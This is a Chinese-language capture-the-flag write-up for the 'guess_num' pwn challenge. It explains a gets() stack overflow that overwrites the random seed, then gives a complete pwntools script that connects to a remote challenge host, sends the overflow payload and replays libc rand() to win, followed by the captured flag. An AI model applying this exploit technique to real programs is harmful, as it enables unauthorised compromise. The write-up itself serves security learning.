【攻防世界】guess_num
收获
栈溢出漏洞
通过 Python 实现 C 语言函数的运行,利用
ctypes
库和cdll.LoadLibrary("libc.so.6")
通过编写脚本来 PWN 通程序中函数的逻辑
思路
查看文件信息:
64位 小端序,金丝雀、栈不可执行、地址随机化全都开启
尝试执行:
打开 IDA 分析:
发现随机数种子 seed
,且存在 gets()
这种明显的漏洞函数
函数 sub_BB0()
用来生成随机数种子:
在 puts("Success!")
后执行了函数 sub_C3E()
跟进:
该函数会执行 system("cat flag")
,说明只要让这个函数执行就可以得到 flag,即:保持 for
循环不会中途退出
分析 for
循环的逻辑:
总共循环 10 次,并且每次循环会根据 v6 = rand() % 6 + 1
生成一个随机数 v6
,然后让用户输入一个 v4
,只有当 v4 == v6
才能让循环继续下去
观察栈中数据的位置:
发现用户输入的 v7
在随机数种子 seed
的上方,而且用户的输入在函数 sub_BB0()
生成随机数种子的操作之后,因此可以通过将 v7
溢出从而修改随机数种子 seed
的值
这样就可以得到 v6 = rand() % 6 + 1
所产生的所有伪随机数,之后编写脚本将所有产生的 v6
作为输入发送过去,就可以实现猜中所有的随机数了
注意,在 Python 中,可以通过
from ctypes import *
引入 C 语言库,用lib = cdll.LoadLibrary("libc.so.6")
导入 C 运行库,就可以使用lib
来执行 C 语言的函数了
脚本
from pwn import *
from ctypes import * # 导入ctypes库使Python可以执行C语言的函数
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
global io
def srand():
global io
lib = cdll.LoadLibrary("libc.so.6") # C运行库
lib.srand(1) # 根据ida的伪代码,先将种子设为1
for i in range(10):
number = str(lib.rand() % 6 + 1) # 执行随机函数,即:v6 = rand() % 6 + 1;
io.recvuntil("Please input your guess number:")
io.sendline(number)
def main():
global io
if content == 1:
io = process("./guess_num") # 程序在kali的路径
else:
io = remote("61.147.171.105", 49792) # 题目的远程端口,注意是remote
payload = b'a' * (0x30 - 0x10) + p64(1) # 填充垃圾字符,并将seed覆盖为1
io.recvuntil("Your name:")
io.sendline(payload) # 第一次输入,可随便输入
srand() # 执行srand函数保证每次都能猜中
io.interactive() # 接收回显
main()
结果
cyberpeace{a1d36b526f5cc7080c63a2338ee0255b}
评论